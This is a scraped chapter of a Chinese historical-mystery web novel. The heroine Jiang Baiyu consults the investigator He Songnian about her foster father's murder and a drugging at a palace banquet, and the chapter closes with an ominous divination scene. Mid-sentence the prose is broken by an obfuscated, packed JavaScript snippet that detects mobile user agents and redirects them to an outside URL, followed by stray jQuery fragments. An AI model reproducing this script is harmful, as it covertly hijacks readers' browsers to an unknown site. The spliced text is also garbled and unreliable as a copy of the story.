书童避开那灼灼视线，有些语塞：“这……”


    姜白鱼无意为难他，只道：“你帮我转告贺兄，如今我已经泥足深陷，回不了头了。”


    身后，一道熟稔的声音响起：“只差一念开明，反身而诚，没有不可以回头的事。”


    门开了，那人步履沉稳踏入院中。


    白鱼转头之前，已经认出声音的主人。“贺哥……”


    即使相遇也装作不识。


    这一声暌违经年，竟觉有些滞涩。


    “你来这里，是为了沈锐？”贺松年站定开口，声音淡然。


    那双犀利的星眸移向姜白鱼，眼尾微微下垂，看上去比平时更为温良。


    姜白鱼问：“贺哥，你查到害我养父的真凶了吗？”


    贺松年道：“如果查出来，我一定会将他绳之以法。”


    “没有吗？”姜白鱼轻叹一声，又重新振作起精神，道，“你聪明善断，我相信你早晚能查出凶手。包括蒋婕妤案……”


    贺松年道：“你放心，我绝对不会冤枉一人，无论其权势、地位。我能看出，你和沈锐，都没有说谎。”


    白鱼心中一阵感动，将怀中准备好的包袱拿出来，“贺哥，这些，是我的谢意。你一定要收下。”


    贺松年瞥了眼看上去就沉甸甸的包袱，道：“不必了。你留着傍身吧。”


    姜白鱼看了眼手中提着的包袱。这是她唯一能够报答贺松年的了。如果他不要，她又如何还他的情？


    仿佛能读心一般，贺松年补道：“白鱼，你不要以为我在帮你。我只是在尽分内之责罢了。”


    姜白鱼道：“可你本可以作壁上观的……”


    见姜白鱼还没放弃，书童阻拦插话道：“白姑娘，公子断案只凭公理与良心，这些黄白之物，公子素来不收的。”


    在来回推拒下，姜白鱼收回包袱，心底敬意愈深。


    若朝堂之上多几个贺松年，这世道，当不会如此。


    “贺哥，你这次找我来，所为何事？”她暗暗想，若是贺松年有请求，她一定尽全力去做。


    贺松年微微侧头，望向远方的山丘，道：“白鱼。顺着这条路，往西走三百里，转步行，走过剑门关，再转舟楫，转牛车，到了益州东北部，便是三川县。再往东走二十三里，有贺家的一处小院，还有几亩田地。”


    白鱼心头一震。


    贺松年早便预测到了她回益州的想法，甚至为她铺垫好了后路。


    “为何？”她声音难掩激动，“真相已然在望，为何，要在此时放弃？”


    “知道越多，越是危险。”贺松年轻叹一声，“你没必要再继续了。”


    “连你也觉得，我无力应对这一切吗？”她眼中浮起不甘与迷惘。当初促使她离开益州的是他，如今劝她回益州的，亦是他。


    “我想要真相，我只要真相，便是豁出性命也无怨无悔。”


    “如果再查下去，肯定会有人丧失性命的，”贺松年的目光愈发深沉，他无奈地摇了摇头，“而且，无论是沈锐，还是你现在接触的‘那个人’，都绝非善类。与虎谋皮，终难逃命丧虎口。”


    “可是，贺哥，我做不到，”姜白鱼攥紧了自己的衣摆，一双泪眼蓄满了决绝，“我做不到，做不到看着你为了查我养父的事情，独自面对危险，我也做不到，放任养父尸骨未寒，凶手逍遥法外，自己偏安一隅。”


    贺松年沉默了。姜白鱼那双天生泪眼不是泉，是深涧，波光盈盈之下，暗藏了山陵丘壑。


    “你若留下，便需要和沈锐彻底割席。”贺松年开口，语气斩钉截铁。


    “好，”姜白鱼想也没想，便应承下来，“我都听你的。”


    见姜白鱼答应得果断，贺松年问：“你真愿意？”


    姜白鱼道：“贺哥，我不骗你，也骗不过你。我与沈锐本无情义，只是他数次回护在前。我不想欠他。”


    贺松年眸光微动，少顷，一抹极淡、难以捉摸的笑意掠过唇边。他转开话题：“其实有的时候，没必要算这么清的。”


    姜白鱼眨眨眼。


    贺松年道：“沈锐虽然给了你庇护，也把你拽入了旋涡。”


    贺松年顿了顿。


    姜白鱼好奇问道：“贺哥说的是昨天的事？”一面又有些心虚，悄悄挪开了目光。她和沈锐在车上……不会也被发现了吧。


    贺松年道：“我知道，沈锐在太医院和七皇子爆发口角。那时，你便在马车上。”


    “对。其实……”姜白鱼暗中下定决心，道，“其实，七皇子给我下，下迷药了。他想害我。还好没得逞。”


    她有些不敢看贺松年。这件事虽然她是受害者，但终归不愿在贺松年面前坦诚……


    为了她的一点小私心。


    但她拎得清——这利害关系当是他破案的关键线索，决不能隐藏。


    万幸，他也没再深究：“你知道沈锐是无辜的，但你却不能解释，你怕七皇子反咬。”


    贺松年仰头望向院中槐树飘飘扬扬落下的绿雪。思绪不知飘到了何处。


    “在他丧母的节点，攀扯出此事，不会有人信你，更不可能因此惩治七皇子。”姜白鱼听得频频点头，一方面缓解尴尬，一方面以示赞同。不料贺松年话锋一转，“不过，你确定下药的是七皇子吗？”


    “是。他在等我药效发作呢，还好碰到沈锐。”姜白鱼答得真诚。


    “那他是何时下药？如何下药？可有人证物证？”


    贺松年连珠炮似的疑问把姜白鱼都问懵了。


    姜白鱼想了想：“我不知道……除了他还能是谁——诶？”


    她猛然意识到有些不对。


    因为七皇子的行为，她一直默认药是七皇子提前下好的。


    但是，事实真如此吗？


    七皇子可从来没有提过药的事情啊，而是一直在尝试说服她。


    难道她和七皇子之间的事情，也是被设计好的？


    当时在宴席上，她从未和七皇子接触过，吃食这些都是御膳房统一呈上来的。


    先前她以为或许是七皇子买通了上菜的宫人，现在想来，却发觉其中还有可推敲之处。


    姜白鱼细细想了一番，只觉得脊背发寒，抬眼问：“若不是七皇子，又是何人？”


    明枪易躲暗箭难防。最令人胆寒的，永远是不知来源的恶意。


    贺松年盯着她，问：“你仔细想想，在入宫前后，宴席上，还有谁接触过你。”


    姜白鱼低眉沉思一番：“采桂，马夫，仆从，宫女，芳玉，宦官……林林总总至少十余人。嗯，我想起来了。我还不小心撞到一个葛姓女子，也是来参宴的……啊，想想，就觉得好难查啊……”


    “其中，有没有和沈锐有过节的？”贺松年问。


    “等等，难道你怀疑，下药和蒋婕妤被害之事有关系？”


    两桩事看上去似乎只是巧合。若真有一人操控全局，目的又是什么？


    就目前来看，是沈锐被栽赃入狱。


    姜白鱼道：“若是幕后之人目的是害沈锐，也许是司空厌——他不喜沈锐。且他若真要给我下药，也是可以通过采桂实现的。”


    贺松年摇头道，眉头微蹙：“不能定论，这幅图上，还缺了一块。至关重要的一块。”


    有些人只有一面之缘，要找又谈何容易，姜白鱼也有些泄气：“要是当时你在就好了。”


    也知道此刻说这些无用，白鱼看了看天色，道，“贺哥，我先回去了。案子的事情，我再理一下。”


    “无碍。你再想想，想起什么，及时告知于我。”贺松年道，也真无留她之意，他从袖中摸出一枚玉玦，“这个你拿着，这是贺家的信物，关键时刻兴许能派上用场。”


    “多谢。”姜白鱼单手接过玉佩，小心翼翼揣入怀中。复又双手抱住包袱，福身算作行礼后，往外走去。


    书童迎上来，为白鱼领路。


    姜白鱼在门畔驻足片刻，直到书童询


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15828233|175425||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    问的话语到了唇边，她才压低声音开口。


    “青至，我偷偷问你件事，你别和贺哥说，好吗？”


    书童好奇地点点头：“白姑娘请讲，我保证守口如瓶。”


    在姜白鱼还是‘白鱼’的时候，青至便唤她‘白姑娘’，早便习惯了，姜白鱼也无意纠正。


    她回头看了眼，小声问：“贺哥，对所有遗属，都，这般周到吗？”


    书童点头，复又摇头，压低声音：“那院那田，实是公子独独为您预备的。”


    姜白鱼嘴角微微翘起，按了帷帽：“知道了……青至，我先走了，下次再会。”


    她转身疾步而去。心口为何这般鼓噪？脚步也骤然轻快起来。步履生风，吹动帽檐白纱。


    走到马车前，姜白鱼回眸望了一眼幽寂的院落，仿佛能穿透竹篱看见那道清朗身影。心中倏然升起一种前所未有的安定，如同夜间迷路者忽见明灯。


    “小姐，你买到东西了吗？”采桂问。


    “没有。”姜白鱼收回视线，一手拿着包袱，一边在采桂的搀扶下上了马车，“但是，我得到了更贵重的东西。”


    原来，这世上，还有这么多，是无法用钱买到的。


    她在马车上坐定，再次掀开车窗的绣额帘，望向院落。院落的灯依然亮着。


    不知怎么的竟然想起了沈锐。


    也不知道他在诏狱过得怎样。


    他于她，究竟是认错了恋人，还是产生了幻觉呢？


    也许……对她来说，答案并不重要。


    现在她要做的，就是等贺松年还沈锐清白，查清真相，然后再拿钱带养母回益州。


    ……


    书童送别姜白鱼后，回到院中。


    “公子，您为什么不告诉白姑娘，杀她养父的凶手？”


    “察见渊鱼者不祥，智料隐匿者有殃。”贺松年道。


    书童终归忍不住，问：“公子，您为何不再劝劝她回益州？”


    贺松年不言。片刻后，他出声，却是问：“茶可煮好了？那人快来了。”


    书童回道：“与公子预测的时机相符。”


    -


    当晚，荧惑守心，彗星贯索。金、木、水、火、土五星罕见汇聚紫微垣，却呈倒悬逆行之序。


    星官再次看了眼夜空，又确认了手上龟甲的占卜结果，浑身都在轻微发抖，说不出话来。良久，他猛地起身，三步并作两步，跌跌撞撞扑向走廊尽头那扇久未开启、布满尘灰的铁门。


    哐啷！铁栓被粗暴拉开。门开一道窄缝，惨淡月光漏入，照亮门后一个形容枯槁、披头散发的囚徒。


    他手脚皆被沉重的镣铐锁住，脸上沟壑纵横，唯有一双布满血丝的眼睛，在乱发后灼灼发亮，透着疯癫。


    星官双手颤抖着捧上龟甲：“老师，您、您看看这命数……”


    “血煞侵宫，五星逆聚，”星官补充道，“占卜的，是沈锐的命。可是结果却关于……”


    借着那缕凄冷月光，囚徒浑浊的眼珠死死钉在龟甲裂纹上。


    下一瞬，他双目暴睁如铜铃，喉咙里发出嗬嗬怪响，枯瘦如柴的双臂猛地举起，沉重的镣铐狠狠砸向铁门。


    哐！哐！哐！


    火星四溅。


    见星官满脸惊恐茫然，囚徒猛地张开嘴——


    一个血淋淋的、被齐根割断舌头的可怖黑洞，断裂的舌根疯狂蠕动，无声地嘶吼、尖叫，仿佛在宣泄着某种极致的恐惧与警告。


    星官吓得魂飞魄散，砰地一声死死关上铁门，背脊抵着冰冷铁板滑坐在地，浑身冷汗如浆。


    囚徒那无声的狂啸却仿佛仍在耳边回荡。


    连前任星官都如此反应……


    看来，自己那惊世骇俗的占卜结果，没有错。


    他扶着墙壁勉强站起，抬头望向沉沉的夜空，一股寒意自心底弥漫开来。


    国师司空厌与沈锐似有旧谊。不知国师大人心中……究竟期待一个怎样的结果？